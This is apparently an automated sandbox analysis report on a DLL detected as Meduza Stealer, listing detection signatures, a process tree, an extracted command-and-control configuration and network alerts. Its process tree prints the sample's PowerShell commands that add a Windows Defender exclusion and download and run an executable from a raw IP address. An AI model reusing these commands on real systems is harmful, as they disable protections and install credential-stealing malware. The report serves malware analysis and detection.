Edit tour
Windows
Analysis Report
iviewers.dll
Overview
General Information
Detection
CredGrabber, Meduza Stealer
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected CredGrabber
Yara detected Meduza Stealer
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
Found many strings related to Crypto-Wallets (likely being stolen)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Powershell drops PE file
Sigma detected: Potentially Suspicious Child Process Of Regsvr32
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: Suspicious Script Execution From Temp Folder
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to record screenshots
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Queries time zone information
Registers a DLL
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: PowerShell Web Download
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
Sigma detected: Usage Of Web Request Commands And Cmdlets
Suricata IDS alerts with low severity for network traffic
Terminates after testing mutex exists (may check infected machine status)
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Classification
- System is w10x64
- loaddll32.exe (PID: 4208 cmdline:
loaddll32. exe "C:\Us ers\user\D esktop\ivi ewers.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618) - conhost.exe (PID: 1732 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 6644 cmdline:
cmd.exe /C rundll32. exe "C:\Us ers\user\D esktop\ivi ewers.dll" ,#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - rundll32.exe (PID: 6036 cmdline:
rundll32.e xe "C:\Use rs\user\De sktop\ivie wers.dll", #1 MD5: 889B99C52A60DD49227C5E485A016679) - powershell.exe (PID: 2504 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Execution Policy Byp ass -Comma nd "Add-Mp Preference -Exclusio nPath 'C:\ Windows\Te mp'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 1744 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7952 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " iwr -useb 'http://14 7.45.47.15 /duschno.e xe' -OutFi le 'C:\Win dows\Temp\ 5mg21dmq.1 jt.exe'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7960 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - 5mg21dmq.1jt.exe (PID: 7640 cmdline:
"C:\Window s\Temp\5mg 21dmq.1jt. exe" MD5: C6813DA66EBA357D0DEAA48C2F7032B8) - regsvr32.exe (PID: 6988 cmdline:
regsvr32.e xe /s C:\U sers\user\ Desktop\iv iewers.dll MD5: 878E47C8656E53AE8A8A21E927C6F7E0) - powershell.exe (PID: 6584 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Execution Policy Byp ass -Comma nd "Add-Mp Preference -Exclusio nPath 'C:\ Windows\Te mp'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 2476 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 8060 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " iwr -useb 'http://14 7.45.47.15 /duschno.e xe' -OutFi le 'C:\Win dows\Temp\ ochicikt.z 2z.exe'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 8076 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - ochicikt.z2z.exe (PID: 7480 cmdline:
"C:\Window s\Temp\och icikt.z2z. exe" MD5: C6813DA66EBA357D0DEAA48C2F7032B8) - rundll32.exe (PID: 1740 cmdline:
rundll32.e xe C:\User s\user\Des ktop\iview ers.dll,Dl lRegisterS erver MD5: 889B99C52A60DD49227C5E485A016679) - powershell.exe (PID: 5052 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Execution Policy Byp ass -Comma nd "Add-Mp Preference -Exclusio nPath 'C:\ Windows\Te mp'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 5572 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7844 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " iwr -useb 'http://14 7.45.47.15 /duschno.e xe' -OutFi le 'C:\Win dows\Temp\ inyligbs.q lq.exe'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7852 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - inyligbs.qlq.exe (PID: 7608 cmdline:
"C:\Window s\Temp\iny ligbs.qlq. exe" MD5: C6813DA66EBA357D0DEAA48C2F7032B8) - powershell.exe (PID: 7536 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Execution Policy Byp ass -Comma nd "Add-Mp Preference -Exclusio nPath 'C:\ Windows\Te mp'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7544 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WmiPrvSE.exe (PID: 7672 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) - powershell.exe (PID: 8136 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " iwr -useb 'http://14 7.45.47.15 /duschno.e xe' -OutFi le 'C:\Win dows\Temp\ t0ppkxxj.r wu.exe'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 8144 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - t0ppkxxj.rwu.exe (PID: 6796 cmdline:
"C:\Window s\Temp\t0p pkxxj.rwu. exe" MD5: C6813DA66EBA357D0DEAA48C2F7032B8)
- cleanup
{"C2 url": "193.3.19.151", "grabber_max_size": 4194304, "anti_vm": true, "anti_dbg": true, "self_destruct": false, "extensions": ".txt", "build_name": "hdont", "links": "", "port": 15666}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MeduzaStealer | Yara detected Meduza Stealer | Joe Security | ||
JoeSecurity_MeduzaStealer | Yara detected Meduza Stealer | Joe Security | ||
JoeSecurity_MeduzaStealer | Yara detected Meduza Stealer | Joe Security | ||
JoeSecurity_MeduzaStealer | Yara detected Meduza Stealer | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MeduzaStealer | Yara detected Meduza Stealer | Joe Security | ||
JoeSecurity_MeduzaStealer | Yara detected Meduza Stealer | Joe Security | ||
JoeSecurity_MeduzaStealer | Yara detected Meduza Stealer | Joe Security | ||
JoeSecurity_MeduzaStealer | Yara detected Meduza Stealer | Joe Security | ||
JoeSecurity_CredGrabber | Yara detected CredGrabber | Joe Security | ||
Click to see the 3 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MeduzaStealer | Yara detected Meduza Stealer | Joe Security | ||
JoeSecurity_MeduzaStealer | Yara detected Meduza Stealer | Joe Security | ||
JoeSecurity_MeduzaStealer | Yara detected Meduza Stealer | Joe Security | ||
JoeSecurity_MeduzaStealer | Yara detected Meduza Stealer | Joe Security | ||
JoeSecurity_MeduzaStealer | Yara detected Meduza Stealer | Joe Security | ||
Click to see the 3 entries |
System Summary |
---|
Source: | Author: elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: frack113: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-19T08:52:46.281767+0100 | 2049441 | 1 | A Network Trojan was detected | 192.168.2.4 | 49737 | 193.3.19.151 | 15666 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-19T08:52:46.281767+0100 | 2050806 | 1 | A Network Trojan was detected | 192.168.2.4 | 49737 | 193.3.19.151 | 15666 | TCP |
2024-12-19T08:52:46.401700+0100 | 2050806 | 1 | A Network Trojan was detected | 192.168.2.4 | 49737 | 193.3.19.151 | 15666 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-19T08:52:46.281767+0100 | 2050807 | 1 | A Network Trojan was detected | 192.168.2.4 | 49737 | 193.3.19.151 | 15666 | TCP |
2024-12-19T08:52:46.401700+0100 | 2050807 | 1 | A Network Trojan was detected | 192.168.2.4 | 49737 | 193.3.19.151 | 15666 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
---|
Source: | Avira URL Cloud: |
Source: | Malware Configuration Extractor: |
Source: | ReversingLabs: | ||
Source: | ReversingLabs: | ||
Source: | ReversingLabs: | ||
Source: | ReversingLabs: |
Source: | Virustotal: | Perma Link | ||
Source: | ReversingLabs: |
Source: | Integrated Neural Analysis Model: |
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: |
Source: | Code function: | 26_2_00007FF621887BA0 | |
Source: | Code function: | 26_2_00007FF621888440 | |
Source: | Code function: | 26_2_00007FF6218883C0 | |
Source: | Code function: | 26_2_00007FF621843A30 | |
Source: | Code function: | 26_2_00007FF621847C20 | |
Source: | Code function: | 26_2_00007FF621887EC0 | |
Source: | Code function: | 26_2_00007FF621888020 | |
Source: | Code function: | 27_2_00007FF741A73A30 | |
Source: | Code function: | 27_2_00007FF741AB8440 | |
Source: | Code function: | 27_2_00007FF741A77C20 | |
Source: | Code function: | 27_2_00007FF741AB83C0 | |
Source: | Code function: | 27_2_00007FF741AB7BA0 | |
Source: | Code function: | 27_2_00007FF741AB7EC0 | |
Source: | Code function: | 27_2_00007FF741AB8020 | |
Source: | Code function: | 28_2_00007FF7CEED8020 | |
Source: | Code function: | 28_2_00007FF7CEED7EC0 | |
Source: | Code function: | 28_2_00007FF7CEED83C0 | |
Source: | Code function: | 28_2_00007FF7CEED7BA0 | |
Source: | Code function: | 28_2_00007FF7CEED8440 | |
Source: | Code function: | 28_2_00007FF7CEE97C20 | |
Source: | Code function: | 28_2_00007FF7CEE93A30 | |
Source: | Code function: | 29_2_00007FF786A98020 | |
Source: | Code function: | 29_2_00007FF786A97EC0 | |
Source: | Code function: | 29_2_00007FF786A983C0 | |
Source: | Code function: | 29_2_00007FF786A97BA0 | |
Source: | Code function: | 29_2_00007FF786A98440 | |
Source: | Code function: | 29_2_00007FF786A57C20 | |
Source: | Code function: | 29_2_00007FF786A53A30 |
Source: | Static PE information: |
Source: | HTTPS traffic detected: |
Source: | Static PE information: |
Source: | Code function: | 26_2_00007FF6218CB500 | |
Source: | Code function: | 26_2_00007FF6218CB5B0 | |
Source: | Code function: | 27_2_00007FF741AFB500 | |
Source: | Code function: | 27_2_00007FF741AFB5B0 | |
Source: | Code function: | 27_2_00007FF741A76DB0 | |
Source: | Code function: | 28_2_00007FF7CEE96DB0 | |
Source: | Code function: | 28_2_00007FF7CEF1B5B0 | |
Source: | Code function: | 28_2_00007FF7CEF1B500 | |
Source: | Code function: | 29_2_00007FF786ADB5B0 | |
Source: | Code function: | 29_2_00007FF786A56DB0 | |
Source: | Code function: | 29_2_00007FF786ADB500 |
Source: | Code function: | 26_2_00007FF6218973F0 |
Source: | File opened: | ||
Source: | File opened: | ||
Source: | File opened: | ||
Source: | File opened: | ||
Source: | File opened: | ||
Source: | File opened: |
Networking |
---|
Source: | Suricata IDS: | ||
Source: | Suricata IDS: |
Source: | TCP traffic: |
Source: | HTTP traffic detected: |